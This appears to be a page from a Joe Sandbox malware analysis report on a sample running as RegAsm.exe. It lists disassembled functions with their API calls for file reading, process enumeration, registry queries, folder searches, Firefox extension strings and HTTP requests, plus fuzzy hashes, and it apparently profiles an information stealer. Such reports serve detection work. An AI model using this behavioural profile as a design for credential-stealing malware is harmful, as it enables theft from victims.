Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 92c28d119a4a39286c08cee0936eaa303b5a3041168926976e30b3ec55866def
Instruction ID: b9a8a4b288ee9f939e53bd87e1647cffb120ee14b7120403b064e1d16f2d4ef2
Opcode Fuzzy Hash: 92c28d119a4a39286c08cee0936eaa303b5a3041168926976e30b3ec55866def
Instruction Fuzzy Hash: DC814472911108ABCB14FBB1DC96EEE7339AF54318F40452EF40772091EF786A58CB6A

Function 0040F2E0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421524,00420D7A), ref: 0040F38C
lstrlenA.KERNEL32(00000000), ref: 0040F3AB

Strings

^userContextId=4294967295, xrefs: 0040F3DC
moz-extension+++, xrefs: 0040F3ED

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$ChangeCloseCreateFindFreeNotificationReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 2768692033-3310892237
Opcode ID: 9f21ac8ec86b3675d1afdf3b7edf4d9d34f6618fc804e98a111b7a094f4869c7
Instruction ID: 29c62e45bd112fa8e6d3d1c16e218030d21c495d55cc38802304d1b40baba72e
Opcode Fuzzy Hash: 9f21ac8ec86b3675d1afdf3b7edf4d9d34f6618fc804e98a111b7a094f4869c7
Instruction Fuzzy Hash: D2513175D01108AACB04FBB1DC56DEE7338AF94314F40812EF81767191EE7C6A58CB6A

Function 00418120 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041816A
Process32First.KERNEL32(?,00000128), ref: 0041817E
Process32Next.KERNEL32(?,00000128), ref: 00418193

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindCloseChangeNotification.KERNEL32(?), ref: 00418201

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 3491751439-0
Opcode ID: c94bff1423a495308c6edbf30cda1505aa293fe0cec0639f5e0f22e09d93e3d2
Instruction ID: 6084a3a81ad9197a86b05fcc5bdad381a42aa545a74b9a2169b69cd5b8afd334
Opcode Fuzzy Hash: c94bff1423a495308c6edbf30cda1505aa293fe0cec0639f5e0f22e09d93e3d2
Instruction Fuzzy Hash: 8E319E71902218ABCB24EF95DC45FEEB778EF04710F10419EE50AA21A0DF386E85CFA5

Function 004178A0 Relevance: 6.1, APIs: 4, Instructions: 58memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
HeapAlloc.KERNEL32(00000000), ref: 004178DE
RegOpenKeyExA.KERNEL32(80000002,00F7B3F0,00000000,00020119,?), ref: 004178FE
RegQueryValueExA.KERNEL32(?,00F81C00,00000000,00000000,000000FF,000000FF), ref: 0041791F

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction ID: 7b98265181db112957e654b40feb51e707849e62a0e01f8308d40af4a82c50e7
Opcode Fuzzy Hash: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction Fuzzy Hash: EB11C1B1A04605AFDB10CF84DD4AFBFBB79FB48B10F10411AF605A7280D7785805CBA5

Function 004012A0 Relevance: 6.0, APIs: 4, Instructions: 39memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction ID: 190bc7a1a7c8d7045dc387aced5cbf31aaec2b72b8248f43f4a0638ea244b090
Opcode Fuzzy Hash: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction Fuzzy Hash: 34013179A40208BFDB10DFE0DC49FAEB779FF48710F108158FA05A7290D6709A05CB50

Function 00416593 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00F7AA50,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 0041656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416588
CloseHandle.KERNEL32(00000000), ref: 00416599
Sleep.KERNEL32(00001770), ref: 004165A4
CloseHandle.KERNEL32(?,00000000,?,00F7AA50,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 004165BA
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 169615bdedfb5d787f6769e60abd9e2f586505a8e698abf629eaea21fc03f8f6
Instruction ID: a64f93d993f1e87f951aacd978fe42101be04856bc676c4d6d5bcee74d417e49
Opcode Fuzzy Hash: 169615bdedfb5d787f6769e60abd9e2f586505a8e698abf629eaea21fc03f8f6
Instruction Fuzzy Hash: F0F08230900605FFEB20ABA0EC09BFE7736AF04715F11441BB916A51D5CBF89582CA6E

Function 00414CD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,00F83C20), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,00F82B98,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414D08

Strings

ERROR, xrefs: 00414CFA
ERROR, xrefs: 00414D53

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: fe80463508e9785ce0865d585505720fad5e9a4802b6cc824f03bac98dc2300e
Instruction ID: 9b7a9698bb488a37f3de611b15de8acf20b28e6af01427a962a44d236a29daab
Opcode Fuzzy Hash: fe80463508e9785ce0865d585505720fad5e9a4802b6cc824f03bac98dc2300e
Instruction Fuzzy Hash: 7F113330901108B7CB14FF61DC56AED7338AF50354F90816EF80B5A5A2EF786B95C75A

Function 00414A20 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414A5A
lstrcat.KERNEL32(?,00421040), ref: 00414A77
lstrcat.KERNEL32(?,00F7AD40), ref: 00414A8B
lstrcat.KERNEL32(?,00421044), ref: 00414A9D

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 1543a4c4e437fdf6423f8a4b87b2f2544082d1939c622b96fdf112040919d067
Instruction ID: 8dbf70b05384144c92fb0b395b2fe843caac1dc39a8cdd365ca80c12b48963c0
Opcode Fuzzy Hash: 1543a4c4e437fdf6423f8a4b87b2f2544082d1939c622b96fdf112040919d067
Instruction Fuzzy Hash: B6214F76A002086BC724FBA0EC42EDD373DAF94304F40845EB94A571D1EE7856C98BA5

Function 00414690 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 004146CA
lstrcat.KERNEL32(?,00F81AA0), ref: 004146E8

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00F7ACC0), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576

Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144E7

Strings

5\A, xrefs: 0041470F, 00414744, 0041477A, 004147AF, 004147E5, 0041481A, 0041483F, 00414712, 00414747, 0041477D, 004147B2, 004147E8, 0041481D

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$wsprintf$Find$FilePath$CloseFirstFolderMatchNextSpec
String ID: 5\A
API String ID: 153043497-3392445751
Opcode ID: 9d67f2e96df7a277632973b5e5d5ec8ba6d0efd738cbbbaf6b8a98ef2a4e1d70
Instruction ID: 53e7b7cde32fa2def73dba0ef3da04c4d4f6f11e0d96676858e1097c5765331f
Opcode Fuzzy Hash: 9d67f2e96df7a277632973b5e5d5ec8ba6d0efd738cbbbaf6b8a98ef2a4e1d70
Instruction Fuzzy Hash: 1441EBB660010467CB64FB64EC83EEE333DAB84304F40855EB94997191ED795ACD8BE6

Function 00417380 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Memory Dump Source

Source File: 00000002.00000002.2243076753.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2243076753.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2243076753.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction ID: 42712b1d228129e2e67f3f866f9c43061177fb5da2658b34d54d74d13c44c576
Opcode Fuzzy Hash: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction Fuzzy Hash: BC0181B1A08608EBC710CF99DD45BEEBBB8FB04721F20021AF905E3690D7785945CBA5

Function 6C863060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C863095

Part of subcall function 6C8635A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C8EF688,00001000), ref: 6C8635D5
Part of subcall function 6C8635A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C8635E0
Part of subcall function 6C8635A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C8635FD
Part of subcall function 6C8635A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C86363F
Part of subcall function 6C8635A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C86369F
Part of subcall function 6C8635A0: __aulldiv.LIBCMT ref: 6C8636E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C86309F

Part of subcall function 6C885B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C8856EE,?,00000001), ref: 6C885B85
Part of subcall function 6C885B50: EnterCriticalSection.KERNEL32(6C8EF688,?,?,?,6C8856EE,?,00000001), ref: 6C885B90
Part of subcall function 6C885B50: LeaveCriticalSection.KERNEL32(6C8EF688,?,?,?,6C8856EE,?,00000001), ref: 6C885BD8
Part of subcall function 6C885B50: GetTickCount64.KERNEL32 ref: 6C885BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C8630BE

